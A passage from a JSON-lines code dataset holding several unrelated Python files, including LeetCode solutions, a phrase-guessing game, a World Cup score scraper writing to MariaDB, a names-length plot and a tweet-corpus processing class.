2130.\n\"\"\"\n\n# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution:\n def findLength(self, head: Optional[ListNode]) -> int:\n result = 0\n \n while head is not None:\n result = result + 1\n head = head.next\n \n return result\n\n def deleteMiddle(self, head: Optional[ListNode]) -> Optional[ListNode]:\n if head.next is None:\n return None\n \n length = self.findLength(head)\n \n i = 0\n p = head\n while i < int(length / 2) - 1:\n p = p.next\n i = i + 1\n \n p.next = p.next.next\n \n return head\n","repo_name":"DanielHara/leetcode-solutions","sub_path":"2095.py","file_name":"2095.py","file_ext":"py","file_size_in_byte":902,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"67"} +{"seq_id":"27870160950","text":"import time\nimport random\n\nfrom phrasehunter.phrase import Phrase\n\n\nclass Game:\n def __init__(self):\n self.active_phrase = None\n self.missed = 0\n self.phrases = [\n \"Knowledge is power\",\n \"Whatever you do do it well\",\n \"What we think we become\",\n \"Turn your wounds into wisdom\",\n \"And still I rise\"\n ]\n self.guesses = []\n\n def start(self):\n self.welcome()\n play_game = True\n while play_game:\n self.active_phrase = Phrase(self.get_random_phrase())\n while self.missed < 5:\n if not self.active_phrase.check_complete():\n self.active_phrase.display()\n user_guess = self.get_guess()\n if self.active_phrase.check_letter(user_guess):\n print(\"Great! {} is in the phrase\".format(user_guess))\n else:\n print(\"Oops! {} is not in the phrase. {} out of 5 lives remaining!\".format(user_guess, 4-self.missed))\n self.missed += 1\n print()\n else:\n break\n play_game = self.game_over()\n\n def get_random_phrase(self):\n return random.choice(self.phrases)\n\n def welcome(self):\n print(\"└[∵┌]└[ ∵ ]┘[┐∵]┘\")\n print(\"Welcome to Phrase Hunter!\")\n time.sleep(0.5)\n print(\"You'll get a random phrase from a pool of {}\".format(len(self.phrases)))\n time.sleep(0.5)\n print(\"Guess individual letters that make up the phrase\")\n time.sleep(0.5)\n print(\"Ready? Let's go!\")\n time.sleep(1)\n\n def get_guess(self):\n while True:\n user_guess = (input(\"Guess a letter: \")).lower()\n if len(user_guess) == 1 and user_guess.isalpha():\n break\n else:\n print(\"Make sure your guess is 1 letter!\")\n self.guesses.append(user_guess)\n return user_guess\n\n def game_over(self):\n if self.missed < 5:\n print(\"Well done! You guessed the phrase: {}\".format(self.active_phrase.phrase))\n else:\n print(\"You guessed incorrect 5 times. Game over!\")\n print(\"The phrase was: {}\".format(self.active_phrase.phrase))\n\n print(\"\\nWould you like to play again?\")\n again = input(\"YES, or enter any key to exit: \").upper()\n if again == \"YES\":\n print(\"New game... coming up!\")\n time.sleep(1)\n self.active_phrase = None\n self.missed = 0\n self.guesses = []\n return True\n else:\n print(\"\\nThanks for playing. See you next time!\")\n print(\"└[∵┌]└[ ∵ ]┘[┐∵]┘\")\n return False\n","repo_name":"rachelktyjohnson/treehouse-py-project3","sub_path":"phrasehunter/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":2827,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"41434580166","text":"class Solution:\n def maxScoreSightseeingPair(values) -> int:\n\n #O(n^2) & O(1)\n # maximaler=values[0]+values[1]-1\n # for i in range(len(values)-1):\n # for j in range(i+1, len(values)):\n # maximaler = max(maximaler, values[i] + values[j] + i -j)\n #\n # return maximaler\n\n #O(n) & O(1)\n dp = [0]*len(values)\n dp[0] = values[0]\n aks=0\n\n for i in range(1, len(values)):\n dp[i] = max(dp[i-1], values[i-1]-1+i)\n aks = max(aks, dp[i] + values[i]-i)\n\n return aks\n print(maxScoreSightseeingPair([8,1,5,2,6]))\n print(maxScoreSightseeingPair([8,1,5,2,6,56]))\n print(maxScoreSightseeingPair([1,2]))","repo_name":"samek571/leetcode-600","sub_path":"1014. Best Sightseeing Pair.py","file_name":"1014. Best Sightseeing Pair.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"24356800372","text":"import requests\r\nfrom bs4 import BeautifulSoup\r\nfrom requests_html import HTMLSession\r\nimport pandas as pd\r\nimport mariadb \r\n\r\n# setting up URL to scrape\r\nURL = \"https://www.fifa.com/fifaplus/en/tournaments/mens/worldcup/qatar2022/scores-fixtures\"\r\nheaders = {'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.35', \"Referer\": \"https://www.fifa.com\"}\r\n\r\n# code that actually scrapes the website\r\n'''\r\n# set up session and read page\r\ns = HTMLSession()\r\npage = s.get(URL, headers=headers)\r\nprint(\"Page status: \", page)\r\n\r\n# attempt to read html from page after 5 seconds of waiting for js to load data\r\npage.html.render(retries=1, wait=5, sleep=5) \r\nsoup = BeautifulSoup(page.html.raw_html, \"html.parser\")\r\n\r\n# save html to file to use later\r\nwith open('readme.html', 'w', encoding='utf-8') as f:\r\n f.write(str(soup.prettify()))\r\n'''\r\n\r\n# use preexisting html file to not have to constantly scrape page while testing\r\ncontents = None\r\nwith open('readme.html', 'r') as f:\r\n contents = f.read()\r\n\r\nsoup = BeautifulSoup(contents, \"html.parser\")\r\n\r\n# set up dataframe for storing info about matches\r\nmatches = pd.DataFrame(columns=['Group','TeamA','TeamB','TeamA_Score','TeamB_Score','Date','Match_Time'])\r\n\r\n# the div that holds info about each game in seperate day divs\r\ndays = soup.find_all(\"div\", class_=\"col-xl-12 col-lg-12 ff-pb-24 ff-text-blue-dark col-md-12 col-sm-12\")\r\n\r\n# loop through all \"days\" divs, which seperates out whichday each game is on\r\nfor day in days:\r\n # div with the date of match in it, seperate out month day and then create a date attribute for in mysql format (YYYY-MM-DD)\r\n date = day.find(\"div\", class_=\"matches-container_title__1uTPf\").text.strip()[:-5]\r\n date_month = date[-3:]\r\n date_day = date[:-3]\r\n date_fin = \"2022-\"\r\n if date_month == \"Nov\":\r\n date_fin += \"11-\"\r\n else:\r\n date_fin += \"12-\"\r\n date_fin += date_day\r\n\r\n # loop through all games that are found in the day div, with this specific div seperating out all matches on that day\r\n for match in day.find_all(\"div\", class_=\"match-block_MatchBlock__2fDak match-block_wtwMatchBlock__3rTRv match-block_borderless__2lXuY\"):\r\n group = match.find(\"div\", class_=\"match-block_wtwStadiumName__2EACw ff-mb-0\").text.strip()\r\n teamA = match.find(\"div\", class_=\"wtw-teams-horizontally-component_team2__-ZMT3\").text.strip()\r\n teamB = match.find(\"div\", class_=\"wtw-teams-horizontally-component_team1__3bRzY\").text.strip()\r\n match_time = match.find(\"div\", class_=\"wtw-teams-horizontally-component_status__ZK_Cl\").text.strip()\r\n\r\n # for the score, if there is no number, match hasn't started yet, set to null\r\n teamA_score = match.find(\"div\", class_=\"wtw-teams-horizontally-component_score1__3HTmk\").text.strip()\r\n if teamA_score == \"\":\r\n teamA_score = None\r\n teamB_score = match.find(\"div\", class_=\"wtw-teams-horizontally-component_score2__20sPm\").text.strip()\r\n if teamB_score == \"\":\r\n teamB_score = None\r\n\r\n # add the match to the dataframe\r\n matches.loc[len(matches.index)] = [group,teamA,teamB,teamA_score,teamB_score,date_fin,match_time]\r\n\r\n# find all non-playoff matches (gets all group stage matches)\r\nnon_playoff_matches = matches.where(matches['Group'].str.contains(pat=\"Group\")).dropna(how=\"all\")\r\n\r\n# finds a list of all teams participating in the cup\r\nteams = (pd.concat([non_playoff_matches['TeamA'],non_playoff_matches['TeamB']])).dropna().unique()\r\nteams.sort()\r\n\r\n# set up a dataframe for individual team info\r\nteams_pd = pd.DataFrame(columns=['Name','Group','Games_Played','Wins','Ties','Losses','Points'])\r\n\r\n# add all teams to the teams dataframe\r\nfor team in teams:\r\n teams_pd.loc[len(teams_pd.index)] = [team, None, 0, 0, 0, 0, 0]\r\n\r\n# add their group letter\r\nfor index, match in pd.DataFrame(non_playoff_matches).iterrows():\r\n teamA = teams_pd.loc[teams_pd['Name'] == match['TeamA']]\r\n teamB = teams_pd.loc[teams_pd['Name'] == match['TeamB']]\r\n\r\n teams_pd.loc[teams_pd['Name'] == match['TeamA'],['Group']] = match['Group'][-1]\r\n\r\n# create a connection to mariadb\r\n\r\nwith open('config.txt', 'r') as f:\r\n contents = f.readlines()\r\n\r\ninfo = {}\r\nfor line in contents:\r\n split = line.split('=')\r\n info[split[0]] = split[1].strip()\r\n\r\ntry:\r\n conn = mariadb.connect(\r\n user=info['user'],\r\n password=info['pass'],\r\n host=info['host'],\r\n database=info['db'])\r\nexcept Exception as e:\r\n print(e)\r\n exit()\r\n\r\ncur = conn.cursor()\r\n\r\n# setup a list of all teams into a list of tuples, then execute as an insert\r\nteams_tup = []\r\nfor idx, i in teams_pd.iterrows():\r\n teams_tup.append(tuple(i))\r\n\r\ntry: \r\n cur.executemany(\"REPLACE INTO teams (name, group_letter, games_played, wins, ties, losses, points) VALUES (?, ?, ?, ?, ?, ?, ?)\",\r\n teams_tup) \r\nexcept mariadb.Error as e: \r\n print(f\"Error: {e}\")\r\n\r\nconn.commit() \r\n\r\n# setup a list of all matches into a list of lists, then execute as an insert\r\nmatch_tup = []\r\nfor idx, i in matches.iterrows():\r\n match_tup.append(list(i)[1:])\r\n\r\ntry: \r\n cur.executemany(\"REPLACE INTO matches (TeamA,TeamB,TeamA_Score,TeamB_Score,date,time) VALUES (?, ?, ?, ?, ?, ?)\",\r\n match_tup) \r\nexcept mariadb.Error as e: \r\n print(f\"Error: {e}\")\r\n\r\nconn.commit() \r\n\r\n# done scraping\r\nprint(\"Updated Data\")","repo_name":"MichalJanMalek/WorldCupTracker","sub_path":"scrapper.py","file_name":"scrapper.py","file_ext":"py","file_size_in_byte":5478,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"36803481485","text":"list1 = ['0','1','2','3','4','5','6','7','8','9']\ntemp = 0\nwhile not temp == 'Q':\n i = 0\n temp = input('请输入一个整数:')\n number = str(temp)\n for j in number:\n #print('在list1下面的:',j)\n if j in list1:\n #print('在number下面的:',j)\n i += 1\n #print(i)\n else:\n print('请输入数字或者按Q退出')\n break\n #print('相同字符串宽度:',i)\n #print('字符串宽度:',len(number))\n if i == len(number):\n print('十进制 -> 十六进制:',int(number),'->',hex(int(number)))\n print('十进制 -> 八进制:',int(number),'->',oct(int(number)))\n print('十进制 -> 二进制:',int(number),'->',bin(int(number)))\n","repo_name":"Ryangbowen/Python3","sub_path":"015 - conversion.py","file_name":"015 - conversion.py","file_ext":"py","file_size_in_byte":762,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"682634992","text":"import pandas as pd\nimport seaborn as sns\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport os\n\nyears = (1937, 2020)\nyear_range = range(years[0], years[1]+1)\ndatapath = './data'\nunsorted_files = os.listdir(datapath)\nfiles = sorted(unsorted_files)\n\ndata_m = pd.DataFrame()\ndata_f = pd.DataFrame()\n\nfor filename in files:\n if (filename == 'NationalReadMe.pdf'): continue\n\n year = filename[3:7]\n if (int(year) < years[0]) or (int(year) > years[1]):\n print(f'skipped {year}')\n continue\n\n data_m.at[year, '_length_lump'] = 0\n data_m.at[year, '_sum'] = 0\n\n data_f.at[year, '_length_lump'] = 0\n data_f.at[year, '_sum'] = 0\n\n print(f'examining names in {year}...')\n f = open(os.path.join(datapath, filename), 'r')\n for line in f:\n name_data_t = line.strip().split(',')\n name, number = (name_data_t[0], int(name_data_t[2]))\n if name_data_t[1] == 'M':\n data_m.at[year, name] = number\n data_m.at[year, '_length_lump'] += len(name) * number\n data_m.at[year, '_sum'] += number\n else:\n data_f.at[year, name] = number\n data_f.at[year, '_length_lump'] += len(name) * number\n data_f.at[year, '_sum'] += number\n f.close()\n\ndata_m['_avg_length'] = data_m['_length_lump'] / data_m['_sum']\ndata_m = data_m.sort_index(axis=1)\n\ndata_f['_avg_length'] = data_f['_length_lump'] / data_f['_sum']\ndata_f = data_f.sort_index(axis=1)\n\nplt.plot(year_range, data_m['_avg_length'], label='M')\nplt.plot(year_range, data_f['_avg_length'], label='F')\nplt.legend(loc='upper left')\nplt.xlabel('Year')\nplt.ylabel('Average first name length (letters)')\nplt.show()\n","repo_name":"zbwrm/names-analysis","sub_path":"tweet_script.py","file_name":"tweet_script.py","file_ext":"py","file_size_in_byte":1673,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"74916892693","text":"import subprocess\nimport datetime\nimport json\nimport csv\nimport pymysql\nimport re\nimport random\nfrom collections import OrderedDict\n\ndef computescores(tp,fp,fn,tn):\n precision = float('NaN')\n if tp + fp > 0:\n precision = tp / (tp + fp)\n recall = float('NaN')\n if tp + fn > 0:\n recall = tp / (tp + fn)\n f1 = float('NaN')\n if precision + recall > 0:\n f1 = 2 * (precision * recall) / (precision + recall)\n return (precision,recall,f1)\n\ndef computeproportionalamounts(total1nr,total2nr,transcribed1nr,transcribed2nr):\n\n transcribed1correctednr = 0\n transcribed2correctednr = 0\n if total1nr >= total2nr:\n if total1nr > 0:\n transcribed2correctednr = int(transcribed1nr * (total2nr / total1nr))\n if transcribed2correctednr > transcribed2nr:\n transcribed2correctednr = transcribed2nr\n transcribed1correctednr = int(transcribed2nr * (total1nr / total2nr))\n else:\n transcribed1correctednr = transcribed1nr\n else:\n if total2nr > 0:\n transcribed1correctednr = int(transcribed2nr * (total1nr / total2nr))\n if transcribed1correctednr > transcribed1nr:\n transcribed1correctednr = transcribed1nr\n transcribed2correctednr = int(transcribed1nr * (total2nr / total1nr))\n else:\n transcribed2correctednr = transcribed2nr\n\n return(transcribed1correctednr,transcribed2correctednr)\n\nclass Tweet:\n def __init__(self, tweetid = '', tweetdatetime= '', retweettotweetid = '', replytotweetid = '', replytotweeter = '', text = '', tweeterid = '', tweetername = '', tweeter = '', tweeterlocation = '', urls = []):\n\n self.variables = {}\n self.variables['tweetid'] = tweetid\n self.variables['tweetdatetime'] = tweetdatetime\n if tweetdatetime:\n self.variables['tweetdate'] = tweetdatetime.date()\n self.variables['tweettime'] = tweetdatetime.time()\n self.variables['tweethour'] = tweetdatetime.hour\n self.variables['retweettotweetid'] = retweettotweetid\n self.variables['replytotweetid'] = replytotweetid\n self.variables['replytotweeter'] = replytotweeter\n self.variables['text'] = re.sub('[\\r\\n]+','<NL>',text)\n self.variables['tweeterid'] = tweeterid\n self.variables['tweetername'] = tweetername\n self.variables['tweeter'] = tweeter\n self.variables['tweeterlocation'] = tweeterlocation\n self.urls = urls\n self.matches = {}\n self.annotations = {}\n self.annotatorids = []\n \n def set(self,key,value):\n if key == 'tweetdatetime':\n tweetdatetime = datetime.datetime.strptime(value,\"%a %b %d %H:%M:%S %z %Y\")\n self.variables['tweetdatetime'] = tweetdatetime\n self.variables['tweetdate'] = tweetdatetime.date()\n self.variables['tweethour'] = tweetdatetime.hour\n else:\n self.variables[key] = value\n\n def get(self,key):\n if key in self.variables:\n return self.variables[key]\n else:\n return 'NULL'\n\n def gettokens(self,token,prepattern='(\\s|\\.|,|;|:|!|\\?|\\@|\\#|^)',postpattern='(\\s|\\.|,|;|:|!|\\?|$)',ignorecase=True,applyprepostpattern=True):\n matchpattern = token\n if applyprepostpattern:\n matchpattern = prepattern+'('+token+')'+postpattern\n if ignorecase:\n matches = re.findall('('+matchpattern+')',self.variables['text'],re.IGNORECASE)\n else:\n matches = re.findall('('+matchpattern+')',self.variables['text'])\n if matches:\n return matches\n else:\n return []\n \n def patternmatch(self,patterns,errorpatterns,prepattern='(\\s|\\.|,|;|:|!|\\?|\\@|\\#|^)',postpattern='(\\s|\\.|,|;|:|!|\\?|$)',ignorecase=True,applyprepostpattern=True,errorapplyprepostpattern=False):\n matched = False\n nrmatchedkeys = 0\n for key in patterns:\n nrpatternmatches = 0\n nrerrorpatternmatches = 0\n for pattern in patterns[key]:\n matchpattern = pattern\n if applyprepostpattern:\n matchpattern = prepattern+'('+pattern+')'+postpattern\n if ignorecase:\n matches = re.findall('('+matchpattern+')',self.variables['text'],re.IGNORECASE)\n else:\n matches = re.findall('('+matchpattern+')',self.variables['text'])\n if matches:\n nrpatternmatches += len(matches)\n self.addmatch(key,pattern)\n\n if key in errorpatterns:\n for errorpattern in errorpatterns[key]:\n matcherrorpattern = errorpattern\n if errorapplyprepostpattern:\n matcherrorpattern = prepattern+'('+errorpattern+')'+postpattern\n if ignorecase:\n errormatches = re.findall('('+matcherrorpattern+')',self.variables['text'],re.IGNORECASE)\n else:\n errormatches = re.findall('('+matcherrorpattern+')',self.variables['text'])\n if errormatches:\n nrerrorpatternmatches += len(errormatches)\n\n #if nrpatternmatches > nrerrorpatternmatches:\n if nrpatternmatches > 0 and not nrerrorpatternmatches > 0:\n matched = True\n nrmatchedkeys += 1\n #for match in matches:\n #self.addmatch(key,match[2])\n\n #return matched\n #self.getmatches()\n return nrmatchedkeys\n\n def geturls(self):\n return self.urls\n \n def addmatch(self,key,pattern):\n if key not in self.matches:\n self.matches[key] = []\n self.matches[key].append(pattern)\n\n def getmatches(self):\n return self.matches\n #for key in self.matches:\n #print(key)\n #for pattern in self.matches[key]:\n #print(' ' + str(pattern))\n\n def getparties(self):\n return self.getmatches().keys() \n\n def removeparty(self,party):\n if party in self.matches:\n del(self.matches[party])\n \n def setannotation(self,annotatorid,annotationfield,annotationvalue):\n if annotationfield not in self.annotations:\n self.annotations[annotationfield] = {}\n self.annotations[annotationfield][annotatorid] = annotationvalue\n if not annotatorid in self.annotatorids:\n self.annotatorids.append(annotatorid)\n\n def getannotations(self):\n return self.annotations\n\n def getannotationvalue(self,annotationlabel,decidingannotatorid=''):\n returnvalue = ''\n if annotationlabel in self.annotations:\n currentvalues = []\n for annotatorid in self.annotations[annotationlabel]:\n value = self.annotations[annotationlabel][annotatorid]\n currentvalues.append(value)\n if decidingannotatorid == annotatorid:\n returnvalue = value\n if not decidingannotatorid:\n returnvalue = max(set(currentvalues),key=currentvalues.count)\n else:\n print(\"annotationlabel \"+annotationlabel+\" does not exist\") \n return returnvalue\n\nclass TweetCorpus:\n def __init__(self):\n\n pass\n\n def gettweets(self):\n tweets = []\n for tweetid in self.tweets:\n tweets.append(self.tweets[tweetid])\n return tweets\n\n def gettweetdates(self):\n tweetdates = []\n for tweetid in self.tweets:\n tweetdate = self.tweets[tweetid].get('tweetdate')\n if not tweetdate in tweetdates and not tweetdate == 'NULL':\n tweetdates.append(tweetdate)\n return tweetdates\n\n def gettweethours(self):\n tweethours = []\n for tweetid in self.tweets:\n tweethour = self.tweets[tweetid].get('tweethour')\n if not tweethour in tweethours and not tweethour == 'NULL':\n tweethours.append(tweethour)\n return tweethours\n\n def getuserlocations(self):\n userlocations = {}\n for tweetid in self.tweets:\n userlocation = self.tweets[tweetid].variables['tweeterlocation']\n if not userlocation in userlocations:\n userlocations[userlocation] = 0\n userlocations[userlocation] += 1\n\n return userlocations\n\n def removetweet(self,tweet):\n tweetid = tweet.get('tweetid')\n del(self.tweets[tweetid])\n \n def filteronpatterns(self,patterns,errorpatterns={},prepattern='(\\s|\\.|,|;|:|!|\\?|\\@|\\#|^)',postpattern='(\\s|\\.|,|;|:|!|\\?|$)',ignorecase=True,applyprepostpattern=True,errorapplyprepostpattern=False,removemismatch=True):\n nonmatchingtweetids = []\n for tweetid in self.tweets:\n if not self.tweets[tweetid].patternmatch(patterns,errorpatterns,prepattern,postpattern,applyprepostpattern,errorapplyprepostpattern,ignorecase):\n nonmatchingtweetids.append(tweetid)\n #else:\n #self.tweets[tweetid].getmatches()\n if removemismatch:\n for tweetid in nonmatchingtweetids:\n del self.tweets[tweetid]\n\n #for tweetid in self.tweets:\n #self.tweets[tweetid].getmatches()\n \n #print(len(self.tweets))\n \n def writecsvfile(self,csvfilename):\n csvfile = open(csvfilename,'w')\n csvwriter = csv.writer(csvfile,delimiter=\";\")\n for tweetid in self.tweets:\n tweet = self.tweets[tweetid]\n text = tweet.get('text')\n tweeter = tweet.get('tweeter')\n tweetdatetime = tweet.get('tweetdatetime')\n replytotweetid = tweet.get('replytotweetid')\n retweettotweetid = tweet.get('retweettotweetid')\n urls = '__'.join(tweet.geturls())\n parties = '__'.join(tweet.getparties())\n csvwriter.writerow([tweetid,text,tweeter,tweetdatetime,replytotweetid,retweettotweetid,urls,parties])\n #text = re.sub('\\n','<NL>',pymysql.escape_string(jsondict['text']))\n #pass\n \nclass TweetCorpusNonAnnotated(TweetCorpus):\n def __init__(self):\n #self.tweets = OrderDict()\n self.tweets = {}\n\n def clear(self):\n self.tweets = {}\n\n def readcsvfile(self,csvfilename):\n csvfile = open(csvfilename)\n csvreader = csv.reader(csvfile,delimiter=\";\")\n for row in csvreader:\n tweetid = row[0]\n text = row[1]\n tweeter = row[2]\n tweetdatetime = datetime.datetime.strptime(row[3].replace('+00:00','+0000'),\"%Y-%m-%d %H:%M:%S%z\")\n replytotweetid = row[4]\n retweettotweetid = row[5]\n urls = row[6].split('__')\n parties = row[7].split('__')\n tweet = Tweet(tweetid = tweetid, tweetdatetime = tweetdatetime, retweettotweetid = retweettotweetid, replytotweetid = replytotweetid, replytotweeter = '', text = text, tweeterid = '', tweetername = '', tweeter = tweeter, tweeterlocation = '', urls = urls)\n for party in parties:\n tweet.addmatch(party,'???')\n #print(party)\n self.tweets[tweetid] = tweet\n\n \n def readjsonfile(self,jsonfilename):\n correcttweetnr = 0\n errortweetnr = 0\n doubletweetnr = 0\n linenr = 0\n jsonfile = open(jsonfilename)\n for jsonline in jsonfile:\n urls = []\n linenr += 1\n try:\n #if 1 == 1:\n jsondict = json.loads(jsonline)\n text = pymysql.escape_string(jsondict['text'])\n tweetid = jsondict['id_str']\n datetimestring = jsondict['created_at']\n tweetdatetime = datetime.datetime.strptime(datetimestring,\"%a %b %d %H:%M:%S %z %Y\")\n tweeterid = jsondict['user']['id_str']\n tweetername = jsondict['user']['name']\n tweeter = jsondict['user']['screen_name']\n if tweetid in self.tweets:\n #print(tweetid + \" already seen\")\n if self.tweets[tweetid].variables['tweeter'] != tweeter:\n print(\"tweetid same, but tweeter differs!\")\n doubletweetnr += 1\n tweeterlocation = jsondict['user']['location']\n try:\n retweettotweetid = jsondict['retweeted_status']['id_str']\n except:\n retweettotweetid = 'NULL'\n try:\n replytotweetid = re.sub('None','NULL',jsondict['in_reply_to_status_id_str'])\n except:\n replytotweetid = 'NULL'\n try:\n replytotweeter = re.sub('None','NULL',jsondict['in_reply_to_screen_name'])\n except:\n replytotweeter = 'NULL'\n try:\n entitiesurls = jsondict['entities']['urls']\n if entitiesurls:\n for entry in entitiesurls:\n url = entry['url']\n urls.append(url)\n except:\n urls = []\n\n tweet = Tweet(tweetid = tweetid, tweetdatetime = tweetdatetime, retweettotweetid = retweettotweetid, replytotweetid = replytotweetid, replytotweeter = replytotweeter, text = text, tweeterid = tweeterid, tweetername = tweetername, tweeter = tweeter, tweeterlocation = tweeterlocation, urls = urls)\n self.tweets[tweetid] = tweet\n correcttweetnr += 1\n except:\n #else:\n errortweetnr += 1\n #print(jsonfilename,linenr)\n\n return correcttweetnr, errortweetnr, doubletweetnr\n \n def readgzfiles(self,firstdatehour,lastdatehour,pathname='/vol/bigdata2/datasets2/twitter'):\n\n startdatehour = datetime.datetime.strptime(firstdatehour,\"%Y%m%d%H\") # starting time\n enddatehour = datetime.datetime.strptime(lastdatehour,\"%Y%m%d%H\") # ending time\n datehour = startdatehour\n\n while datehour <= enddatehour:\n jsonfilename = \"tweets_\" + datehour.strftime(\"%Y%m%d%H\")\n storedzipfilename = pathname + \"/\" + datehour.strftime(\"%Y%m%d%H\")[:6] + \"/\" + datehour.strftime(\"%Y%m%d%H\")[:8] + \"-\" + datehour.strftime(\"%Y%m%d%H\")[-2:] + \".out.gz\"\n zipfilename = jsonfilename + \".gz\"\n\n command = \"cp\"\n #print command,storedzipfilename,zipfilename\n subprocess.call([command,storedzipfilename,zipfilename])\n\n command = \"gunzip\"\n argument = \"-f\"\n #print command,argument,zipfilename\n subprocess.call([command,argument,zipfilename])\n\n #print(jsonfilename)\n try:\n correcttweetnr, errortweetnr, doubletweetnr = self.readjsonfile(jsonfilename)\n #print(len(self.tweets))\n print(datehour,correcttweetnr, errortweetnr, doubletweetnr)\n except:\n print(datehour,\"Could not read json file\")\n \n command = \"rm\"\n #print command,jsonfilename\n subprocess.call([command,jsonfilename])\n\n datehour = datehour + datetime.timedelta(hours=1)\n\n\n \nclass TweetCorpusAnnotated(TweetCorpus):\n def __init__(self):\n self.tweets = OrderedDict()\n #self.tweets = {}\n self.trainset = []\n self.devtestset = []\n self.testset = []\n\n def clear(self):\n self.tweets = OrderedDict()\n #self.tweets = {}\n self.trainset = []\n self.devtestset = []\n self.testset = []\n\n def __add__(self,other):\n newcorpus = TweetCorpusAnnotated()\n newcorpus.tweets.update(self.tweets)\n newcorpus.tweets.update(other.tweets)\n return newcorpus\n\n def readmysql(self,db,keylabel,annotationkeylabel='',aliases={}):\n labelnames = {}\n values = {}\n\n try:\n tweetdb = pymysql.connect(host=db['host'], user=db['user'], passwd=db['passwd'],db=db['dbname'])\n except:\n raise ValueError(\"Error in opening dbase\")\n try:\n cur = tweetdb.cursor()\n cur.execute(\"SELECT * FROM \"+db['tablename'])\n results = cur.fetchall()\n columnnr = 0\n for desc in cur.description:\n labelnames[columnnr] = desc[0]\n columnnr += 1\n for row in results:\n for columnnr in range(len(labelnames)):\n values[labelnames[columnnr]] = row[columnnr]\n if labelnames[columnnr] == keylabel:\n keylabelvalue = values[labelnames[columnnr]]\n if labelnames[columnnr] == annotationkeylabel:\n annotationkeylabelvalue = values[labelnames[columnnr]]\n if labelnames[columnnr] == 'text':\n #print(values[labelnames[columnnr]])\n values[labelnames[columnnr]] = re.sub('[\\r\\n]+','<NL>',values[labelnames[columnnr]])\n #print(values[labelnames[columnnr]])\n if keylabel in values:\n if not keylabelvalue in self.tweets:\n self.tweets[keylabelvalue] = Tweet()\n for columnnr in range(len(labelnames)):\n labelname = labelnames[columnnr]\n if labelname in aliases:\n #print(labelname)\n labelname = aliases[labelname]\n #print(labelname,labelnames[columnnr])\n if annotationkeylabel in values:\n self.tweets[keylabelvalue].setannotation(annotationkeylabelvalue,labelname,values[labelnames[columnnr]])\n else:\n self.tweets[keylabelvalue].set(labelname,values[labelnames[columnnr]]) \n\n except:\n raise ValueError(\"Error in reading dbase\")\n\n try:\n tweetdb.close()\n except:\n pass\n\n def shuffle(self,seed=1):\n random.seed(seed)\n keys = list(self.tweets)\n random.shuffle(keys)\n for key in keys:\n self.tweets.move_to_end(key)\n \n def annotationsummary(self,requestedannotationfields=[],decidingannotatorid=''):\n annotatorids = {}\n values = {}\n nrannotations = {}\n annotatorcombinations = {}\n for tweetid in self.tweets:\n for annotationfield in self.tweets[tweetid].getannotations():\n if len(requestedannotationfields) > 0 and annotationfield in requestedannotationfields:\n currentvalues = []\n currentannotators = []\n if not annotationfield in values:\n values[annotationfield] = {}\n for annotatorid in self.tweets[tweetid].annotations[annotationfield]:\n currentannotators.append(annotatorid)\n if not annotatorid in annotatorids:\n annotatorids[annotatorid] = 0\n annotatorids[annotatorid] += 1\n value = self.tweets[tweetid].annotations[annotationfield][annotatorid]\n #if decidingannotatorid == annotatorid:\n #if not value in values[annotationfield]:\n #values[annotationfield][value] = 0\n #values[annotationfield][value] += 1\n currentvalues.append(value)\n currentannotators.sort()\n annotatorcombination = \",\".join(currentannotators)\n if not annotatorcombination in annotatorcombinations:\n annotatorcombinations[annotatorcombination] = 0\n annotatorcombinations[annotatorcombination] += 1\n nrcurrentannotations = len(currentvalues)\n if not nrcurrentannotations in nrannotations:\n nrannotations[nrcurrentannotations] = 0\n nrannotations[nrcurrentannotations] += 1\n #if not decidingannotatorid:\n #mostfrequentvalue = max(set(currentvalues),key=currentvalues.count)\n #if not mostfrequentvalue in values[annotationfield]:\n #values[annotationfield][mostfrequentvalue] = 0\n #values[annotationfield][mostfrequentvalue] += 1\n\n annotationvalue = self.tweets[tweetid].getannotationvalue(annotationfield,decidingannotatorid)\n if not annotationvalue in values[annotationfield]:\n values[annotationfield][annotationvalue] = 0\n values[annotationfield][annotationvalue] += 1\n\n return(annotatorids,annotatorcombinations,nrannotations,values)\n\n def gettokensets(self,word,decidingannotationfield,decidingannotatorid):\n tokensets = []\n for tweetid in self.tweets:\n for annotationfield in self.tweets[tweetid].getannotations():\n if annotationfield == decidingannotationfield:\n for annotatorid in self.tweets[tweetid].annotations[annotationfield]:\n if annotatorid == decidingannotatorid:\n value = self.tweets[tweetid].annotations[annotationfield][annotatorid]\n patterns = self.tweets[tweetid].gettokens(word)\n keeptoken = ''\n for (bla1,bla2,token,bla3) in patterns:\n if (any(x.isupper() for x in token)):\n keeptoken = token\n elif not keeptoken:\n keeptoken = token\n tokensets.append((keeptoken,value))\n return tokensets\n \n def removenunannotated(self,decidingannotatorid=''):\n nonannotatedtweetids = []\n for tweetid in self.tweets:\n if len(self.tweets[tweetid].annotations) == 0:\n nonannotatedtweetids.append(tweetid)\n elif decidingannotatorid:\n if not decidingannotatorid in self.tweets[tweetid].annotatorids:\n nonannotatedtweetids.append(tweetid)\n for tweetid in nonannotatedtweetids:\n del self.tweets[tweetid]\n\n def select_matchallfilters(self,filters):\n subcorpus = TweetCorpusAnnotated()\n for tweetid in self.tweets:\n select = True\n for (variable,value) in filters:\n if variable in self.tweets[tweetid].variables:\n if not self.tweets[tweetid].variables[variable] == value:\n select = False\n else:\n select = False\n if select:\n subcorpus.tweets[tweetid] = self.tweets[tweetid]\n return subcorpus\n\n def select_matchanyfilter(self,filters):\n subcorpus = TweetCorpusAnnotated()\n for tweetid in self.tweets:\n select = False\n for (variable,value) in filters:\n if variable in 